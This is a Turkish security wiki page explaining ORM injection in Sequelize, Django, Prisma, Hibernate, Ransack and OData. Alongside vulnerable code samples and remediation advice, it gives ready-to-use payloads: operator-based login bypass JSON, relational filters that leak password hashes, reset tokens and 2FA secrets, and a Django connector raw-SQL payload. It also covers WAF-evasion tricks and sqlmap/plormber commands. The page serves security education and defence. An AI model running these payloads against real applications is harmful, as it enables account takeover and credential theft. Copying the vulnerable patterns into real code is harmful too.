AltaySec Wiki ORM Injection   ·   AltaySec Araştırmalar

ORM Injection

root@altaysec:~# whoami
> Yazar: Suna Ayaz

(Object-Relational Mapping Injection), modern web mimarilerinde veritabanı ile uygulama katmanı arasındaki soyutlamayı sağlayan ORM (Object-Relational Mapper) kütüphanelerinin güvensiz implementasyonlarından kaynaklanan kritik bir zafiyettir. Geliştiriciler arasında yaygın olan "ORM kullanmak bizi SQL Injection'dan %100 korur" yanılgısı, bu zafiyetin Red Team operasyonlarındaki stratejik değerini inanılmaz derecede artırmaktadır.

ORM kütüphaneleri (örn. Hibernate, Entity Framework, Sequelize, Prisma, Django ORM, Beego), geliştiricilerin ham SQL (Raw SQL) yazmak yerine nesne yönelimli (Object-Oriented) metodlar kullanmasını sağlar. Bu yapılar arka planda nesne metodlarını, parametreleri ve filtreleri bir Abstract Syntax Tree (AST) üzerinden geçirerek veritabanının anlayacağı SQL (veya NoSQL) dialektine dönüştürür (Transpilation/Compilation). Ancak, kullanıcıdan gelen girdilerin doğrudan ORM'in sorgu oluşturucu (Query Builder) nesnelerine, filtre sözlüklerine (dictionary/hash) veya ilişki fonksiyonlarına doğrulama olmaksızın aktarılması, saldırganın ORM'in AST yapısını manipüle etmesine olanak tanır. Sonuç olarak, ham SQL Injection zafiyetlerinde olduğu gibi Authentication Bypass, Privilege Escalation ve tam yetkili veri sızıntısı (Data Exfiltration) durumları ortaya çıkar.

How It Works (Teknik Analiz)

Zafiyetin kök nedeni (Root Cause), kullanıcı verisinin "veri" (data) bağlamından çıkarak "komut" (operator/instruction) bağlamına geçmesidir. Klasik SQL Injection'da bu durum tek tırnak (') gibi karakterlerle SQL sözdiziminin kırılmasıyla gerçekleşirken, ORM Injection'da saldırgan, framework'ün anladığı özel operatörleri (örn. Node.js için $ne, $gt; Python/Django için __startswith, __regex; Ruby/Ransack için _start) veya mantıksal veri yapılarını (JSON objeleri, listeler) enjekte eder.

ORM, bu operatörleri güvenli kabul edip AST grafiğine dahil eder ve arka planda güvenli (Parameterized) fakat saldırganın mantıksal olarak manipüle ettiği bir SQL sorgusu üretir. Bellek (Memory) düzeyinde, uygulama kullanıcıdan gelen JSON veya URL-Encoded veriyi deserialize ettiğinde, bu girdi bir String (metin) yerine bir Map, Object veya Dictionary yapısına dönüşür. ORM'in WhereNode veya Filter class'ları bu nesneleri iterasyona soktuğunda, Key (anahtar) değerlerini doğrudan SQL operatörü veya ilişkisel tablo adı (JOIN table) olarak yorumlar.

Vulnerable Code Patterns

Modern framework'lerde sıkça karşılaşılan zafiyetli kod yapıları:

Node.js (Sequelize) - Type Confusion & Operator Injection:

// Zafiyetli: Express.js'te req.query veya req.body doğrudan ORM'e veriliyor.
app.get('/users', async (req, res) => {
    // req.query JSON veya Object olabilir. String olması beklenirken Object gelirse ORM operatör olarak işler.
    const user = await User.findOne({
        where: {
            username: req.query.username,
            password: req.query.password
        }
    });
    res.json(user);
});

Python (Django ORM) - Dictionary Unpacking:

# Zafiyetli: Kullanıcıdan gelen JSON objesi doğrudan **kwargs (unpacking) ile Q objesine veya filter'a veriliyor.
def search_api(request):
    filter_dictionary = request.data.get('filters', {})
    # Unpacking (**) operatörü, sözlükteki key'leri doğrudan Django ORM parametresine dönüştürür.
    query = Q(**filter_dictionary) 
    results = Article.objects.filter(query)
    return Response(results)

Node.js (Prisma) - Deep Object Injection:

// Zafiyetli: Kullanıcı girdisi Prisma'nın güçlü 'where' argümanını tamamen kontrol ediyor.
app.post('/articles/search', async (req, res) => {
    // Prisma ORM, nested (iç içe) objeleri JOIN ve SELECT işlemleri için kullanır.
    const posts = await prisma.article.findMany({
        where: req.body.filter // Tam kontrol saldırganda
    });
    res.json(posts);
});

Java (Hibernate) - Insecure String Concatenation (HQL Injection):

// Zafiyetli: Hibernate Query Language (HQL) kullanırken doğrudan string birleştirme.
public List getOrders(String orderId) {
    // HQL injection - Parametrik yapı yerine + operatörü ile ekleme yapılıyor.
    Query hqlQuery = session.createQuery("from Orders as orders where orders.id = " + orderId);
    return hqlQuery.list();
}

Detection & Enumeration (Keşif ve Analiz)

ORM Injection tespiti, uygulamanın veri tiplerini (Data Types) nasıl parse ettiğini ve ORM katmanının hangi operatörleri desteklediğini anlamayı gerektirir. Keşif aşaması genellikle HTTP parametrelerinde (GET/POST) veya JSON gövdelerinde (Body) "Type Juggling" (Tip Çarpıtması) yapılarak gerçekleştirilir.

  1. JSON Type Juggling (Tip Manipülasyonu): Beklenen {"username": "admin"} değeri yerine {"username": {"$ne": null}} veya {"username": {"$gt": ""}} gönderilir. Eğer sistem "Invalid String" (Geçersiz Metin) hatası dönmez ve tüm kullanıcıları listelerse/login olursa zafiyet kesindir.
  2. Relational Fuzzing (İlişkisel Fuzzing): URL parametrelerinde ?username=admin yerine ?username__startswith=a (Django) veya ?username[startsWith]=a (Prisma/Express) denenir. Uygulama sadece "a" ile başlayanları dönerse ORM sızıntısı başlamıştır.
  3. Error-Based Çıkarım (Hata Tabanlı Keşif): Özellikle ilişkisel veritabanlarında desteklenmeyen bir ORM özelliği (Örn: SQLite'ta Regex olmaması) çağrıldığında 500 Internal Server Error alınır. ?filter[password__regex]=^a gönderildiğinde dönen hata mesajı ("Operator not supported", "Timeout exceeded in regular expression match") arkadaki yapıyı ve DBMS türünü (PostgreSQL, SQLite, MySQL) ifşa eder.
  4. Time-Based Extraction (Zaman Tabanlı Çıkarım): Sorguların ne kadar sürdüğü ölçülür. Özellikle şifre veya hash (bcrypt/argon2) gibi uzun stringleri regex veya ReDoS (Regular Expression Denial of Service) payload'larıyla zorlayarak (Örn: ^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$), sonucun doğru olup olmadığı response süresinden (Time delay) anlaşılır.

Attack Vectors & Exploitation (İstismar Vektörleri)

Type Confusion & Operator Injection (NoSQL / Node.js)

Express.js gibi framework'lerde, URL parametreleri (?user[name]=admin) veya JSON gövdeleri deserialize edilirken doğrudan Javascript objelerine dönüşür. Sequelize, Prisma ve Mongoose gibi ORM/ODM'ler, bu objelerin içindeki $ne (Not Equal), $gt (Greater Than), $regex gibi anahtarları özel filtre operatörleri olarak kabul eder. Saldırgan, şifre alanına metin yerine {"$ne": null} göndererek sorgunun WHERE password <> NULL şeklinde çalışmasını sağlar ve doğrulama aşamasını tamamen atlar (Authentication Bypass).

Relational Traversals & Graph Pivot (Django / Beego / Entity Framework)

Bu vektörde saldırgan, uygulamanın kendi veritabanı şemasındaki (Schema) ilişkileri (Foreign Keys) kullanarak, yetkisi olmayan tablolara "zıplar" (Pivot). Django'da __ (çift alt tire), Beego'da yine __, Prisma'da iç içe JSON objeleri kullanılarak One-to-One veya Many-to-Many ilişkiler aşılır. Örneğin, sadece makaleleri listelemeye yetkisi olan bir kullanıcı, created_by__user__password__contains=a filtresi gönderdiğinde; ORM arka planda makaleler (Articles), makale yazarları (Authors) ve Kullanıcılar (Users) tablolarını JOIN ile birleştirir. Makaleyi filtrelemek bahanesiyle admin parolasının "a" harfi içerip içermediğini sorgular.

Dictionary Unpacking Injection (Python / Django Q Objects)

Django'nun Q nesneleri, karmaşık OR / AND operatörlerini destekler. Eğer uygulama request.data objesini doğrudan Q(**data) şeklinde unpack ediyorsa, saldırgan parametreler arasına "_connector": "OR" veya "_connector": ") OR 1=1 OR (" anahtarını sızdırabilir. Bu, ORM'in AST'sini bozarak WhereNode sınıfındaki conn = ' %s ' % self.connector satırı üzerinden doğrudan Raw SQL Injection'a evrilir.

ReDoS and Error-Based Oracle (Regex Timeout)

Hedef sistemin (örneğin Django + MariaDB/PostgreSQL) Boolean-Based veri sızdırmasına izin vermediği (hep aynı sayfayı döndürdüğü) durumlarda kullanılır. Saldırgan ORM'in regex filtreleme özelliğini (__regex) kullanarak kasıtlı olarak "Catastrophic Backtracking" (Felaket Geriye İzleme) yaratır. Eğer regex şifrenin başlangıcıyla eşleşirse işlem çok uzun sürer (veya timeout hatası verir), eşleşmezse anında döner. Bu sayede Time-Based ORM Injection elde edilir.

OData Entity Framework Leaks (.NET)

ASP.NET uygulamalarında OData controller'ları IQueryable<T> dönerse ve $filter özelliği kısıtlanmamışsa, saldırgan sistemdeki navigasyon property'lerini (Navigation Properties) kullanabilir. $filter=CreatedBy/TfaSecret ge 'M' gibi bir OData isteği, doğrudan Entity Framework tarafından çevrilerek Two-Factor Authentication gizli anahtarını harf harf sızdırmak için kullanılır (Greater Than/Less Than operatörleriyle Binary Search).

Payloads & Advanced Commands

Authentication Bypass Payloads (Sequelize & Mongoose)

Bu payloadlar genellikle Login formlarında username ve password parametrelerine JSON formatında enjekte edilir.

{
  "username": {"$ne": null},
  "password": {"$ne": null}
}
{
  "username": "admin",
  "password": {"$gt": ""}
}
{
  "email": {"$regex": ".*@admin\\.com"},
  "password": {"$or": [{}, {"isAdmin": true}]}
}

Relational Pivot & Data Exfiltration Payloads (Django ORM)

URL Query String veya JSON formatında, farklı tablolara zıplayıp Boolean Inference (Doğru/Yanlış çıkarımı) yapmak için kullanılır.

# 1:1 İlişki ile Parola Sızdırma (Admin parolasının baş harfini tahmin etme)
?created_by__user__password__startswith=a

# M:N (Çoka-Çok) İlişkilere Zıplama (Derin Traversals)
?created_by__departments__employees__user__username__startswith=admin&created_by__departments__employees__user__password__startswith=pbkdf2_sha256$

# Regex kullanımı
?created_by__user__password__regex=^admin.*

Prisma ORM GraphQL / JSON Leak Payloads

Prisma'nın güçlü hiyerarşik sorgu yapısını suistimal eden payload'lar. Request gövdesine (Body) gönderilir.

// Şifre içeren ilişkili objeyi tamamen geri döndürme
{
  "filter": {
    "select": {
      "createdBy": {
        "select": {
          "password": true,
          "resetToken": true
        }
      }
    }
  }
}
// Many-to-Many tablolarını dolaşıp gizli makaleleri sızdırma
{
  "query": {
    "categories": {
      "some": {
        "articles": {
          "some": {
            "published": false,
            "title": { "startsWith": "Secret" }
          }
        }
      }
    }
  }
}

Django Q Object / Connector Raw SQLi Payload

Django'da Q(**kwargs) zafiyeti olan bir uç noktaya gönderilen JSON payload.

{
  "is_admin": false,
  "username": "nonexistent_user",
  "_connector": ") OR 1=1 OR ("
}

Ruby on Rails (Ransack) Bypasses

Ransack kütüphanesini kullanan sistemlerde reset token veya hash sızdırmak için kullanılır (Ransack < 4.0.0.0 sürümlerinde özellikle etkilidir).

# Token'ı karakter karakter tahmin etme (Boş sayfa dönerse yanlış, dolu sayfa dönerse doğru)
GET /posts?q[user_reset_password_token_start]=1
GET /posts?q[user_reset_password_token_start]=2
GET /posts?q[user_reset_password_token_start]=2c
GET /posts?q[user_reset_password_token_start]=2f

# Recoveries Key sızdırma
GET /labs?q[creator_roles_name_cont]=superadmin&q[creator_recoveries_key_start]=a

OData & Entity Framework Payload Commands

.NET Core / Entity Framework üzerindeki OData filtrelerini kullanarak Binary Search sızıntısı.

GET /odata/Articles?$filter=CreatedBy/TfaSecret ge 'M'&$top=1
GET /odata/Articles?$filter=CreatedBy/TfaSecret lt 'M'&$top=1

Bypass & Obfuscation (Atlatma Teknikleri)

WAF (Web Application Firewall) veya temel filtreleme sistemlerini atlatmak için ORM'in ve arkasındaki Database Collation'ın (Karakter Seti Karşılaştırma Kuralları) doğası kullanılır.

  1. Collation Suistimali (Büyük/Küçük Harf Atlatması): Çoğu MySQL/MariaDB/MSSQL veritabanı varsayılan olarak Case-Insensitive'dir (Büyük/Küçük harf duyarsız). WAF admin kelimesini engelliyorsa AdMiN yazılabilir. Ancak parola hash'leri sızdırılırken (Blind SQLi), büyük/küçük harf ayrımı önemlidir. SQLite LIKE duyarsızken, regex veya GLOB komutları duyarlıdır. Sızdırma sırasında Prisma'nın equals yerine contains kullanıp, arkasındaki DB collation yapısına göre karakter setini modifiye ederek (Hex encoding) WAF aşılabilir.
  2. Type Smuggling via URL Params: WAF JSON payload içindeki {"$ne": null}'u tespit ediyorsa, bunu Express.js'in veya PHP'nin array çözümleme mantığıyla Query String üzerinden URL-Encoded geçirmek: ?password[$ne]=null veya ?password[not]=E
  3. JSON Unicode & Hex Escaping: Operatörlerin adını maskelemek için Unicode kullanılabilir: {"\u0024\u006E\u0065": null} ($ne operatörünün gizlenmiş hali).
  4. Operator Aliasing: Eğer __regex engellenmişse, aynı mantığı kurmak için __startswith ve __endswith kombinasyonları veya __icontains kullanılabilir. LIMIT 0,1 tarzı Raw SQL injection filtrelerini aşmak için LIMIT 1 OFFSET 0 veya SUBSTR('SQL' FROM 1 FOR 1) mimarisi enjekte edilir.

Remediation & Prevention (Önleme ve Savunma)

  1. Kapsamlı ve Sıkı Veri Tipi Doğrulaması (Strict Input Validation & Type Checking): Uygulamaya giren tüm veriler DTO (Data Transfer Object) mimarileri, Joi, Zod (Node.js) veya Pydantic (Python) gibi şema doğrulayıcı kütüphanelerden geçirilmelidir. Beklenen değer bir String ise, kullanıcının Object veya Array (JSON injection) göndermesine kesinlikle izin verilmemelidir.
    if (typeof req.body.username !== 'string') { throw new Error('Invalid Input'); }
    
  2. Tehlikeli Operatörlerin ve Alias'ların Devre Dışı Bırakılması: ORM yapılandırmalarında varsayılan olarak gelen tehlikeli operatörler kapatılmalıdır. Örneğin Sequelize'de operatorsAliases mutlaka false yapılmalıdır.
    const sequelize = new Sequelize(db, user, pass, { operatorsAliases: false });
    
  3. Explicit Mapping (Açık Tanımlama) ve Whitelisting: Kullanıcıdan gelen veri paketleri (örn. req.body, **kwargs) hiçbir zaman ORM'in arama/filtreleme metodlarına doğrudan aktarılmamalıdır (No Dictionary Unpacking). İzin verilen arama alanları bir Whitelist (İzin Listesi) ile kontrol edilmelidir.
    # GÜVENLİ KOD ÖRNEĞİ (Django)
    allowed_filters = ['username', 'email']
    safe_filters = {k: v for k, v in request.data.items() if k in allowed_filters}
    results = User.objects.filter(**safe_filters)
    
  4. Property & Relation Blacklisting: Prisma veya Ransack gibi yapılar kullanılıyorsa, dışa açık API'lerde şifre (password), token, MFA secret gibi alanların sorgulanabilir (searchable) olması kapatılmalıdır. (Ransack 4.0.0+ sürümlerinde explicit allow-list mecburi kılınmıştır).

Common Tools & Frameworks

Araç Fonksiyon Komut Örneği
plormber Time-based ORM Injection zafiyetlerini (Örn: Prisma) test eden ve veri sızdıran spesifik bir araç. plormber prisma-contains --chars '0123456789abcdef' --base-query-json '{"query": {PAYLOAD}}' --leak-query-json '{"createdBy": {"resetToken": {"startsWith": "{ORM_LEAK}"}}}' --contains-payload-json '{"body": {"contains": "{RANDOM_STRING}"}}' https://vuln.app/api
Burp Suite Request/Response analizi, JSON Type Juggling ve Intruder ile karakter tahmini (Brute-force/Fuzzing) yapmak için standart araç. Intruder -> Cluster bomb ile payload enjeksiyonu ve sürenin izlenmesi.
SQLMap Eğer ORM Injection, backend üzerinde doğrudan Raw SQL Injection'a (Örn: Hibernate HQL injection veya Django Connector zafiyeti) evriliyorsa otomatize istismar. sqlmap -u "http://target.com/api?id=1*" --level=5 --risk=3 --dbms=mysql --dump
Postman / cURL ORM Graph (GraphQL veya REST nested JSON) parametrelerini API uç noktalarına manipüle ederek manuel doğrulama. curl -X POST -H "Content-Type: application/json" -d '{"username": {"$ne": null}}' http://target/login

Yazar: Suna Ayaz · AltaySec Wiki — Türkçe güvenlik playbook'u.

← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv